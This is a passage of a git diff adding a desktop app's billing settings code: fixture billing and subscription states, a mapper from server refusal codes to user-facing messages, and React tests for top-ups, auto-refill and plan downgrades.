+  }: {
+    autoReload?: BillingStateResponse['auto_reload']
+    canCharge?: boolean
+    card?: BillingStateResponse['card']
+    cliBillingEnabled?: boolean
+    monthlyCapSpent?: string
+    remaining: string
+    subscriptionCurrent?: SubscriptionStateResponse['current']
+  }
+) {
+  const billing = {
+    ...postTrainBillingState,
+    auto_reload: autoReload,
+    balance_display: '$142.50',
+    balance_usd: '142.50',
+    can_charge: canCharge,
+    card,
+    cli_billing_enabled: cliBillingEnabled,
+    monthly_cap: {
+      is_default_ceiling: false,
+      limit_display: '$100',
+      limit_usd: '100',
+      spent_display: `$${monthlyCapSpent}`,
+      spent_this_month_usd: monthlyCapSpent
+    },
+    org_name: `${name} Fixture`,
+    usage: {
+      ...postTrainBillingState.usage,
+      plan_name: 'Ultra',
+      subscription_remaining_display: `$${remaining}`,
+      total_spendable_display: '$142.50'
+    }
+  } satisfies BillingStateResponse
+
+  const subscription = {
+    ...todaySubscriptionState,
+    current: subscriptionCurrent,
+    org_name: `${name} Fixture`,
+    usage: billing.usage
+  } satisfies SubscriptionStateResponse
+
+  return { billing: okBilling(billing), subscription: okSubscription(subscription) }
+}
+
+export const billingDevFixtures = {
+  healthy: withUsage('Healthy', { monthlyCapSpent: '89', remaining: '132' }),
+  'free-personal': {
+    billing: okBilling(freePersonalBillingState),
+    subscription: okSubscription(freePersonalSubscriptionState)
+  },
+  'subscriber-personal': {
+    billing: okBilling(subscriberPersonalBillingState),
+    subscription: okSubscription(subscriberPersonalSubscriptionState)
+  },
+  'pending-cancellation': {
+    billing: okBilling(subscriberPersonalBillingState),
+    subscription: okSubscription(pendingCancellationSubscriptionState)
+  },
+  'pending-downgrade': {
+    billing: okBilling(subscriberPersonalBillingState),
+    subscription: okSubscription(pendingDowngradeSubscriptionState)
+  },
+  'auto-refill-divergent': withUsage('Auto Refill Divergent', {
+    autoReload: {
+      ...postTrainBillingState.auto_reload,
+      card: { kind: 'distinct', payment_method_id: 'pm_divergent_1', brand: 'mastercard', last4: '4444' },
+      enabled: true
+    },
+    remaining: '132'
+  }),
+  low: withUsage('Low', { remaining: '19.8' }),
+  boundary: withUsage('Boundary', { remaining: '22' }),
+  'empty-overdrawn': withUsage('Empty Overdrawn', { remaining: '-0.79' }),
+  'cap-near': withUsage('Cap Near', { monthlyCapSpent: '92', remaining: '132' }),
+  'cap-hit': withUsage('Cap Hit', { monthlyCapSpent: '100', remaining: '132' }),
+  'no-card': withUsage('No Card', { card: null, remaining: '132' }),
+  'no-subscription': withUsage('No Subscription', { remaining: '132', subscriptionCurrent: null }),
+  'logged-out': {
+    billing: okBilling(loggedOutBillingState),
+    subscription: okSubscription(loggedOutSubscriptionState)
+  },
+  refusal: {
+    billing: {
+      ok: false,
+      refusal: {
+        kind: 'temporarily_unavailable',
+        message: 'Billing is temporarily unavailable.',
+        retryAfter: 90
+      }
+    },
+    subscription: okSubscription(todaySubscriptionState)
+  },
+  'billing-off': {
+    billing: okBilling(todayBillingState),
+    subscription: okSubscription(todaySubscriptionState)
+  }
+} satisfies Record<
+  string,
+  {
+    billing: BillingResult<BillingStateResponse>
+    subscription: BillingResult<SubscriptionStateResponse>
+  }
+>
+
+export type BillingDevFixtureName = keyof typeof billingDevFixtures
diff --git a/ui-desktop/src/app/settings/billing/errors.test.ts b/ui-desktop/src/app/settings/billing/errors.test.ts
new file mode 100644
index 000000000..0e3f4474a
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/errors.test.ts
@@ -0,0 +1,84 @@
+import type { KnownBillingRefusalCode } from '@clawcodex/shared/billing'
+import { describe, expect, it } from 'vitest'
+
+import type { BillingRefusal } from './api'
+import { resolveRefusal } from './errors'
+
+const expectedActions: Record<
+  KnownBillingRefusalCode | 'timeout' | 'transport',
+  'none' | 'portal' | 'retry' | 'step_up'
+> = {
+  auto_top_up_disabled_failures: 'none',
+  cli_billing_disabled: 'portal',
+  consent_required: 'portal',
+  endpoint_unavailable: 'retry',
+  idempotency_conflict: 'none',
+  idempotency_key_required: 'none',
+  insufficient_scope: 'step_up',
+  internal_error: 'none',
+  invalid_charge_id: 'none',
+  invalid_request: 'none',
+  monthly_cap_exceeded: 'portal',
+  network_error: 'none',
+  no_payment_method: 'portal',
+  org_access_denied: 'none',
+  preview_rejected: 'none',
+  rate_limited: 'retry',
+  remote_spending_disabled: 'portal',
+  remote_spending_revoked: 'portal',
+  role_required: 'portal',
+  session_revoked: 'portal',
+  stripe_unavailable: 'retry',
+  temporarily_unavailable: 'retry',
+  timeout: 'retry',
+  transport: 'retry',
+  upgrade_cap_exceeded: 'none',
+  validation_failed: 'none'
+}
+
+describe('resolveRefusal', () => {
+  it('maps every known refusal kind to copy and the expected action', () => {
+    for (const [kind, actionType] of Object.entries(expectedActions)) {
+      const resolved = resolveRefusal({
+        kind: kind as BillingRefusal['kind'],
+        message: 'Server message.',
+        portalUrl: 'https://portal.invalid/billing',
+        retryAfter: 90
+      })
+
+      expect(resolved.title, kind).not.toHaveLength(0)
+      expect(resolved.message, kind).not.toHaveLength(0)
+      expect(resolved.action.type, kind).toBe(actionType)
+    }
+  })
+
+  it('includes monthly cap headroom when the server sends it', () => {
+    const resolved = resolveRefusal({
+      kind: 'monthly_cap_exceeded',
+      message: 'Monthly spend cap reached.',
+      payload: { remainingUsd: '4.50' }
+    })
+
+    expect(resolved.message).toContain('$4.50 headroom left')
+  })
+
+  it('includes Stripe retry timing when the server sends it', () => {
+    const resolved = resolveRefusal({
+      kind: 'stripe_unavailable',
+      message: 'Stripe is unavailable.',
+      retryAfter: 120
+    })
+
+    expect(resolved.message).toContain('try again in ~2 min')
+  })
+
+  it('falls back sanely for unknown refusal kinds', () => {
+    const resolved = resolveRefusal({ kind: 'new_billing_code', message: 'Something changed upstream.' })
+
+    expect(resolved).toEqual({
+      action: { type: 'none' },
+      message: 'Something changed upstream.',
+      title: 'Billing request failed'
+    })
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/errors.ts b/ui-desktop/src/app/settings/billing/errors.ts
new file mode 100644
index 000000000..960e9f97a
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/errors.ts
@@ -0,0 +1,163 @@
+import type { BillingRefusal } from './api'
+
+export interface BillingRefusalPresentation {
+  action: { type: 'none' } | { type: 'portal'; url?: string } | { type: 'retry' } | { type: 'step_up' }
+  message: string
+  title: string
+}
+
+const portalAction = (url?: string): BillingRefusalPresentation['action'] => ({ type: 'portal', url })
+
+const retryMessage = (refusal: BillingRefusal): string => {
+  const mins = refusal.retryAfter ? ` (try again in ~${Math.max(1, Math.round(refusal.retryAfter / 60))} min)` : ''
+
+  return `🟡 Too many charges right now${mins}. This isn't a payment failure.`
+}
+
+const stripeRetryMessage = (refusal: BillingRefusal): string => {
+  const mins = refusal.retryAfter ? ` (try again in ~${Math.max(1, Math.round(refusal.retryAfter / 60))} min)` : ''
+
+  return `Stripe is having trouble — try again shortly${mins}`
+}
+
+export const resolveRefusal = (refusal: BillingRefusal): BillingRefusalPresentation => {
+  switch (refusal.kind) {
+    case 'consent_required':
+      return {
+        action: portalAction(refusal.portalUrl),
+        message: 'Confirm this card for terminal charges in the portal',
+        title: 'Card confirmation needed'
+      }
+
+    case 'insufficient_scope':
+      return {
+        action: { type: 'step_up' },
+        message: 'This needs Remote Spending allowed. Start a top-up to allow it, then retry.',
+        title: 'Remote Spending needs approval'
+      }
+    case 'remote_spending_revoked': {
+      const who =
+        refusal.actor === 'admin'
+          ? 'An admin stopped remote spending for this terminal.'
+          : 'You stopped remote spending for this terminal.'
+
+      return {
+        action: portalAction(refusal.portalUrl),
+        message: `${who} Reconnect from Settings → Gateway to re-authorize this device.`,
+        title: 'Remote spending was stopped'
+      }
+    }
+
+    case 'session_revoked':
+      return {
+        action: portalAction(refusal.portalUrl),
+        message: 'Your session was logged out. Sign in again from Settings → Gateway.',
+        title: 'Session logged out'
+      }
+
+    case 'cli_billing_disabled':
+
+    case 'remote_spending_disabled':
+      return {
+        action: portalAction(refusal.portalUrl),
+        message:
+          "Remote spending is off for this account — a billing admin can turn it on from the portal's ClawCodex page.",
+        title: 'Remote spending is off'
+      }
+
+    case 'role_required':
+      return {
+        action: portalAction(refusal.portalUrl),
+        message: 'Adding funds needs an org admin/owner. Ask an admin, or manage on the portal.',
+        title: 'Admin role required'
+      }
+
+    case 'idempotency_conflict':
+      return {
+        action: { type: 'none' },
+        message: '🔴 That charge key was already used for a different amount. Start a fresh top-up.',
+        title: 'Start a fresh top-up'
+      }
+
+    case 'no_payment_method':
+      return {
+        action: portalAction(refusal.portalUrl),
+        message:
+          '💳 No saved card for terminal charges yet. Set one up on the portal ' +
+          "(one-time credit buys don't save a reusable card).",
+        title: 'No saved card'
+      }
+
+    case 'org_access_denied':
+      return {
+        action: { type: 'none' },
+        message: "This token isn't bound to an org you can manage",
+        title: 'Org access denied'
+      }
+    case 'monthly_cap_exceeded': {
+      const remaining = refusal.payload?.remainingUsd
+
+      return {
+        action: portalAction(refusal.portalUrl),
+        message:
+          remaining != null
+            ? `🔴 Monthly spend cap reached — $${remaining} headroom left.`
+            : '🔴 Monthly spend cap reached.',
+        title: 'Monthly spend cap reached'
+      }
+    }
+
+    case 'rate_limited':
+
+    case 'temporarily_unavailable':
+      return {
+        action: { type: 'retry' },
+        message: retryMessage(refusal),
+        title: 'Too many charges right now'
+      }
+
+    case 'stripe_unavailable':
+      return {
+        action: { type: 'retry' },
+        message: stripeRetryMessage(refusal),
+        title: 'Stripe is having trouble'
+      }
+
+    case 'upgrade_cap_exceeded':
+      return {
+        action: { type: 'none' },
+        message: 'Daily plan-change limit reached — try again tomorrow',
+        title: 'Daily plan-change limit reached'
+      }
+
+    case 'endpoint_unavailable':
+      return {
+        action: { type: 'retry' },
+        message:
+          refusal.message ||
+          'Billing endpoint returned a non-JSON response (it may not be available on this deployment).',
+        title: 'Billing endpoint unavailable'
+      }
+
+    case 'timeout':
+      return {
+        action: { type: 'retry' },
+        message: refusal.message || 'Billing request timed out.',
+        title: 'Billing request timed out'
+      }
+
+    case 'transport':
+      return {
+        action: { type: 'retry' },
+        message: refusal.message || 'Billing request failed before reaching the gateway.',
+        title: 'Billing connection failed'
+      }
+
+    default:
+      return {
+        action: { type: 'none' },
+        message: refusal.message || 'Billing request failed.',
+        title: 'Billing request failed'
+      }
+  }
+}
diff --git a/ui-desktop/src/app/settings/billing/fixtures.test-util.ts b/ui-desktop/src/app/settings/billing/fixtures.test-util.ts
new file mode 100644
index 000000000..fb72e21b1
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/fixtures.test-util.ts
@@ -0,0 +1,35 @@
+import type { BillingResult } from './api'
+import type { BillingStateResponse, SubscriptionStateResponse } from './types'
+
+export {
+  billingDevFixtures,
+  loggedOutBillingState,
+  loggedOutSubscriptionState,
+  postTrainBillingState,
+  postTrainSubscriptionState,
+  todayBillingState,
+  todaySubscriptionState
+} from './dev-fixtures'
+
+export const okBilling = (data: BillingStateResponse): BillingResult<BillingStateResponse> => ({ data, ok: true })
+
+export const okSubscription = (data: SubscriptionStateResponse): BillingResult<SubscriptionStateResponse> => ({
+  data,
+  ok: true
+})
+
+export const endpointUnavailableBilling = {
+  ok: false,
+  refusal: {
+    kind: 'endpoint_unavailable',
+    message: 'Billing endpoint returned a non-JSON response.'
+  }
+} satisfies BillingResult<BillingStateResponse>
+
+export const endpointUnavailableSubscription = {
+  ok: false,
+  refusal: {
+    kind: 'endpoint_unavailable',
+    message: 'Subscription endpoint is not available.'
+  }
+} satisfies BillingResult<SubscriptionStateResponse>
diff --git a/ui-desktop/src/app/settings/billing/index.test.tsx b/ui-desktop/src/app/settings/billing/index.test.tsx
new file mode 100644
index 000000000..455fd59b4
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/index.test.tsx
@@ -0,0 +1,693 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import type { ReactNode } from 'react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  billingDevFixtures,
+  loggedOutBillingState,
+  loggedOutSubscriptionState,
+  okBilling,
+  okSubscription,
+  postTrainBillingState,
+  postTrainSubscriptionState,
+  todayBillingState,
+  todaySubscriptionState
+} from './fixtures.test-util'
+
+import { BillingSettings } from './index'
+
+const apiMocks = vi.hoisted(() => ({
+  charge: vi.fn(),
+  chargeStatus: vi.fn(),
+  fetchBillingState: vi.fn(),
+  fetchSubscriptionState: vi.fn(),
+  openExternal: vi.fn(),
+  previewSubscriptionChange: vi.fn(),
+  resumeSubscription: vi.fn(),
+  scheduleSubscriptionChange: vi.fn(),
+  stepUp: vi.fn(),
+  updateAutoReload: vi.fn()
+}))
+
+vi.mock('./api', () => ({
+  // Pass-through provider — the mocked useBillingApi ignores any override anyway.
+  BillingApiProvider: ({ children }: { children: ReactNode }) => children,
+  useBillingApi: () => ({
+    charge: apiMocks.charge,
+    chargeStatus: apiMocks.chargeStatus,
+    fetchBillingState: apiMocks.fetchBillingState,
+    fetchSubscriptionState: apiMocks.fetchSubscriptionState,
+    previewSubscriptionChange: apiMocks.previewSubscriptionChange,
+    resumeSubscription: apiMocks.resumeSubscription,
+    scheduleSubscriptionChange: apiMocks.scheduleSubscriptionChange,
+    stepUp: apiMocks.stepUp,
+    updateAutoReload: apiMocks.updateAutoReload
+  })
+}))
+
+function renderBilling(initialEntries: string[] = ['/settings?tab=billing']) {
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  render(
+    <MemoryRouter initialEntries={initialEntries}>
+      <QueryClientProvider client={client}>
+        <BillingSettings />
+      </QueryClientProvider>
+    </MemoryRouter>
+  )
+
+  return client
+}
+
+beforeEach(() => {
+  apiMocks.fetchBillingState.mockResolvedValue(okBilling(todayBillingState))
+  apiMocks.fetchSubscriptionState.mockResolvedValue(okSubscription(todaySubscriptionState))
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: {
+      openExternal: apiMocks.openExternal
+    }
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+describe('BillingSettings', () => {
+  it('renders the deployed-today payload with buy controls hidden and usage rows visible', async () => {
+    renderBilling()
+
+    expect(await screen.findByText('$996.47')).toBeTruthy()
+    expect(screen.getByText('Ultra · $200/mo')).toBeTruthy()
+    expect(screen.getByText('Visa •••• 3206')).toBeTruthy()
+    expect(
+      screen.getByText(
+        "Remote spending is off for this account — a billing admin can turn it on from the portal's ClawCodex page."
+      )
+    ).toBeTruthy()
+    expect(screen.queryByRole('button', { name: '$100' })).toBeNull()
+    expect(screen.getByText('Charges $10 automatically when your balance falls below $5.')).toBeTruthy()
+    expect(screen.getByText('$120 of $220 left')).toBeTruthy()
+    expect(screen.getByText('$876.47')).toBeTruthy()
+    expect(screen.getByText('$10 of $100 used').classList.contains('tabular-nums')).toBe(true)
+    expect(screen.getByText('Default ceiling')).toBeTruthy()
+  })
+
+  it('renders the post-train payload with enabled buy controls and card provenance', async () => {
+    apiMocks.fetchBillingState.mockResolvedValue(okBilling(postTrainBillingState))
+    apiMocks.fetchSubscriptionState.mockResolvedValue(okSubscription(postTrainSubscriptionState))
+
+    renderBilling()
+
+    expect(await screen.findByText('$142.50')).toBeTruthy()
+    expect(screen.getByText('Visa •••• 4242 - subscription card')).toBeTruthy()
+    expect(screen.getByRole('button', { name: '$25' }).hasAttribute('disabled')).toBe(false)
+    expect(screen.getByRole('button', { name: '$50' }).hasAttribute('disabled')).toBe(false)
+    expect(screen.getByRole('button', { name: '$100' }).hasAttribute('disabled')).toBe(false)
+    expect(screen.getByRole('spinbutton', { name: 'Custom credit amount' })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /^Buy$/ }).hasAttribute('disabled')).toBe(false)
+  })
+
+  it('disables buy controls when no card is on file', async () => {
+    const fixture = billingDevFixtures['no-card']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    renderBilling()
+
+    // No card → the payment row collapses to a single "Add payment method" link.
+    expect(await screen.findByRole('button', { name: /Add payment method/ })).toBeTruthy()
+    expect(screen.queryByText('No card on file')).toBeNull()
+    expect(screen.getByRole('button', { name: '$25' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('button', { name: '$50' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('button', { name: '$100' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('spinbutton', { name: 'Custom credit amount' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('button', { name: /^Buy$/ }).hasAttribute('disabled')).toBe(true)
+
+    fireEvent.click(screen.getByRole('button', { name: /^Buy$/ }))
+
+    expect(apiMocks.charge).not.toHaveBeenCalled()
+  })
+
+  it('saves enabled auto-refill edits and refreshes billing state', async () => {
+    const client = renderBilling()
+    const invalidate = vi.spyOn(client, 'invalidateQueries')
+
+    apiMocks.updateAutoReload.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Manage' }))
+    fireEvent.change(screen.getByRole('spinbutton', { name: 'Auto-refill threshold' }), {
+      target: { value: '15' }
+    })
+    fireEvent.change(screen.getByRole('spinbutton', { name: 'Auto-refill reload-to amount' }), {
+      target: { value: '20' }
+    })
+    fireEvent.click(screen.getByRole('button', { name: 'Save' }))
+
+    await waitFor(() =>
+      expect(apiMocks.updateAutoReload).toHaveBeenCalledWith({
+        enabled: true,
+        reload_to_usd: '20',
+        threshold_usd: '15'
+      })
+    )
+    await waitFor(() => expect(invalidate).toHaveBeenCalledWith({ queryKey: ['billing', 'state'] }))
+    expect(await screen.findByText('Auto-refill updated.')).toBeTruthy()
+  })
+
+  it('rejects auto-refill amounts outside the billing bounds', async () => {
+    renderBilling()
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Manage' }))
+    fireEvent.change(screen.getByRole('spinbutton', { name: 'Auto-refill threshold' }), {
+      target: { value: '7.50' }
+    })
+
+    expect(screen.getByText('Threshold: minimum is $10.')).toBeTruthy()
+    expect(screen.getByRole('button', { name: 'Save' }).hasAttribute('disabled')).toBe(true)
+
+    fireEvent.click(screen.getByRole('button', { name: 'Save' }))
+
+    expect(apiMocks.updateAutoReload).not.toHaveBeenCalled()
+  })
+
+  it('renders the enabled auto-refill row without crashing when the card is null', async () => {
+    apiMocks.fetchBillingState.mockResolvedValue(
+      okBilling({ ...todayBillingState, auto_reload: { ...todayBillingState.auto_reload, card: null } })
+    )
+
+    renderBilling()
+
+    expect(await screen.findByText('Charges $10 automatically when your balance falls below $5.')).toBeTruthy()
+    expect(screen.getByRole('button', { name: 'Manage' })).toBeTruthy()
+  })
+
+  it('requires inline confirmation before disabling auto-refill', async () => {
+    renderBilling()
+
+    apiMocks.updateAutoReload.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Manage' }))
+    fireEvent.click(screen.getByRole('button', { name: 'Disable' }))
+
+    expect(screen.getByText('Turn off auto-refill?')).toBeTruthy()
+    expect(apiMocks.updateAutoReload).not.toHaveBeenCalled()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Turn off' }))
+
+    // The gateway requires threshold + top_up_amount even to disable, so the current
+    // amounts ride along (todayBillingState: threshold $5, reload-to $10).
+    await waitFor(() =>
+      expect(apiMocks.updateAutoReload).toHaveBeenCalledWith({
+        enabled: false,
+        reload_to_usd: '10',
+        threshold_usd: '5'
+      })
+    )
+  })
+
+  it('opens auto-refill edit without a validation error even when the saved config is below the minimum', async () => {
+    // todayBillingState: threshold $5 with min_usd $10 — invalid, but opening
+    // Manage must stay silent until the user edits or attempts to save (spec §9).
+    renderBilling()
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Manage' }))
+
+    expect(screen.getByRole('spinbutton', { name: 'Auto-refill threshold' })).toBeTruthy()
+    expect(screen.queryByText('Threshold: minimum is $10.')).toBeNull()
+    // Save is disabled because the prefilled config is invalid — but no error yet.
+    expect(screen.getByRole('button', { name: 'Save' }).hasAttribute('disabled')).toBe(true)
+  })
+
+  it('navigates to the in-app plans grid from the plan card and back', async () => {
+    const fixture = billingDevFixtures['free-personal']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    renderBilling()
+
+    fireEvent.click(await screen.findByRole('button', { name: 'View plans' }))
+
+    expect(await screen.findByText('Plans')).toBeTruthy()
+    // No subscription → the free tier is the inert current plan, the three paid
+    // tiers are "Choose ↗" upgrades (no "subscribe to Free").
+    expect(screen.getByText('Current plan')).toBeTruthy()
+    expect(screen.getAllByRole('button', { name: /Choose/ }).length).toBe(3)
+    expect(screen.queryByRole('button', { name: 'Downgrade' })).toBeNull()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Back to billing' }))
+
+    expect(await screen.findByRole('button', { name: 'View plans' })).toBeTruthy()
+  })
+
+  it('renders the current marker and an actionable downgrade when deep-linked to the plans grid', async () => {
+    const fixture = billingDevFixtures['subscriber-personal']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    renderBilling(['/settings?tab=billing&bview=plans'])
+
+    expect(await screen.findByText('Current plan')).toBeTruthy()
+    // Free sits below Plus → an in-app (enabled) "Downgrade" button, not disabled.
+    expect(screen.getByRole('button', { name: 'Downgrade' }).hasAttribute('disabled')).toBe(false)
+    // Super + Ultra are upgrades.
+    expect(screen.getAllByRole('button', { name: /Choose/ }).length).toBe(2)
+  })
+
+  it('falls back to overview (no live Choose grid) when a team deep-links bview=plans', async () => {
+    // Default beforeEach uses todaySubscriptionState (context: 'team') — no in-app
+    // plans capability, so the URL must not surface a grid of Choose buttons.
+    renderBilling(['/settings?tab=billing&bview=plans'])
+
+    expect(await screen.findByText('Payment & credits')).toBeTruthy()
+    expect(screen.queryByText('Plans')).toBeNull()
+    expect(screen.queryByRole('button', { name: /Choose/ })).toBeNull()
+  })
+
+  it('falls back to overview when a non-changer personal account deep-links bview=plans', async () => {
+    apiMocks.fetchSubscriptionState.mockResolvedValue(
+      okSubscription({ ...todaySubscriptionState, can_change_plan: false, context: 'personal' })
+    )
+
+    renderBilling(['/settings?tab=billing&bview=plans'])
+
+    expect(await screen.findByText('Payment & credits')).toBeTruthy()
+    expect(screen.queryByText('Plans')).toBeNull()
+    expect(screen.queryByRole('button', { name: /Choose/ })).toBeNull()
+  })
+
+  it('runs an in-app downgrade: preview → confirm → schedule with the tier id → refetch → overview', async () => {
+    const fixture = billingDevFixtures['subscriber-personal']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: {
+        effect: 'scheduled',
+        effective_at: '2026-08-15T00:00:00Z',
+        monthly_credits_delta: '-88',
+        ok: true,
+        target_tier_name: 'Free'
+      },
+      ok: true
+    })
+    apiMocks.scheduleSubscriptionChange.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    const client = renderBilling(['/settings?tab=billing&bview=plans'])
+    const invalidate = vi.spyOn(client, 'invalidateQueries')
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Downgrade' }))
+
+    await waitFor(() => expect(apiMocks.previewSubscriptionChange).toHaveBeenCalledWith('cltier000free0000personal'))
+    expect(await screen.findByText(/No charge now/)).toBeTruthy()
+    // Credits delta renders as signed dollars, not the raw wire string "-88".
+    expect(screen.getByText(/Monthly credits change: −\$88\/mo\./)).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Confirm downgrade' }))
+
+    await waitFor(() => expect(apiMocks.scheduleSubscriptionChange).toHaveBeenCalledWith('cltier000free0000personal'))
+    await waitFor(() => expect(invalidate).toHaveBeenCalledWith({ queryKey: ['billing', 'subscription'] }))
+    // Scheduled → back on the overview.
+    expect(await screen.findByText('Payment & credits')).toBeTruthy()
+    expect(screen.queryByText('Plans')).toBeNull()
+  })
+
+  it('surfaces the step-up affordance when scheduling a downgrade needs approval', async () => {
+    const fixture = billingDevFixtures['subscriber-personal']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', effective_at: '2026-08-15T00:00:00Z', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+    apiMocks.scheduleSubscriptionChange.mockResolvedValue({
+      ok: false,
+      refusal: { kind: 'insufficient_scope', message: 'billing:manage required' }
+    })
+
+    renderBilling(['/settings?tab=billing&bview=plans'])
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Downgrade' }))
+    fireEvent.click(await screen.findByRole('button', { name: 'Confirm downgrade' }))
+
+    expect(await screen.findByText('Remote Spending needs approval:')).toBeTruthy()
+    expect(screen.getByRole('button', { name: 'Verify to continue' })).toBeTruthy()
+    // The failed schedule offers a retry in place.
+    expect(screen.getByRole('button', { name: 'Try again' })).toBeTruthy()
+    expect(apiMocks.scheduleSubscriptionChange).toHaveBeenCalledTimes(1)
+  })
+
+  it('undoes a scheduled downgrade from the plan card via resume', async () => {
+    const fixture = billingDevFixtures['pending-downgrade']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+    apiMocks.resumeSubscription.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    const client = renderBilling()
+    const invalidate = vi.spyOn(client, 'invalidateQueries')
+
+    expect(await screen.findByText('Changes to Free on Aug 15.')).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Undo' }))
+
+    await waitFor(() => expect(apiMocks.resumeSubscription).toHaveBeenCalledTimes(1))
+    await waitFor(() => expect(invalidate).toHaveBeenCalledWith({ queryKey: ['billing', 'subscription'] }))
+  })
+
+  it('undoes a scheduled cancellation from the plan card via resume', async () => {
+    const fixture = billingDevFixtures['pending-cancellation']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+    apiMocks.resumeSubscription.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    renderBilling()
+
+    expect(await screen.findByText('Cancels on Aug 15.')).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Undo' }))
+
+    await waitFor(() => expect(apiMocks.resumeSubscription).toHaveBeenCalledTimes(1))
+  })
+
+  it('locks out the other downgrade tiles and Back while a schedule is in flight', async () => {
+    // Current = Ultra so Free/Plus/Super are all downgrades (three tiles).
+    apiMocks.fetchBillingState.mockResolvedValue(billingDevFixtures['subscriber-personal'].billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(
+      okSubscription({
+        ...todaySubscriptionState,
+        can_change_plan: true,
+        context: 'personal',
+        current: { ...todaySubscriptionState.current, tier_id: 't_ultra', tier_name: 'Ultra' },
+        tiers: [
+          {
+            dollars_per_month_display: '$0',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '0.1',
+            name: 'Free',
+            tier_id: 't_free',
+            tier_order: 0
+          },
+          {
+            dollars_per_month_display: '$20',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '22',
+            name: 'Plus',
+            tier_id: 't_plus',
+            tier_order: 1
+          },
+          {
+            dollars_per_month_display: '$100',
+            is_current: false,
+            is_enabled: true,
+            monthly_credits: '110',
+            name: 'Super',
+            tier_id: 't_super',
+            tier_order: 2
+          },
+          {
+            dollars_per_month_display: '$200',
+            is_current: true,
+            is_enabled: true,
+            monthly_credits: '220',
+            name: 'Ultra',
+            tier_id: 't_ultra',
+            tier_order: 3
+          }
+        ]
+      })
+    )
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', effective_at: '2026-08-15T00:00:00Z', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+
+    let settleSchedule: (value: unknown) => void = () => {}
+    apiMocks.scheduleSubscriptionChange.mockReturnValue(
+      new Promise(resolve => {
+        settleSchedule = resolve
+      })
+    )
+
+    renderBilling(['/settings?tab=billing&bview=plans'])
+
+    const downgrades = await screen.findAllByRole('button', { name: 'Downgrade' })
+    expect(downgrades.length).toBe(3)
+
+    fireEvent.click(downgrades[0])
+    fireEvent.click(await screen.findByRole('button', { name: 'Confirm downgrade' }))
+
+    // Scheduling in flight → the two remaining tiles + Back are disabled.
+    await waitFor(() => {
+      const remaining = screen.getAllByRole('button', { name: 'Downgrade' })
+      expect(remaining.length).toBe(2)
+      expect(remaining.every(btn => btn.hasAttribute('disabled'))).toBe(true)
+    })
+    expect(screen.getByRole('button', { name: 'Back to billing' }).hasAttribute('disabled')).toBe(true)
+
+    settleSchedule({ data: { ok: true }, ok: true })
+  })
+
+  it('disables Undo while the resume is in flight', async () => {
+    const fixture = billingDevFixtures['pending-downgrade']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    let settleResume: (value: unknown) => void = () => {}
+    apiMocks.resumeSubscription.mockReturnValue(
+      new Promise(resolve => {
+        settleResume = resolve
+      })
+    )
+
+    renderBilling()
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Undo' }))
+
+    await waitFor(() => expect(screen.getByRole('button', { name: 'Undoing…' }).hasAttribute('disabled')).toBe(true))
+
+    settleResume({ data: { ok: true }, ok: true })
+  })
+
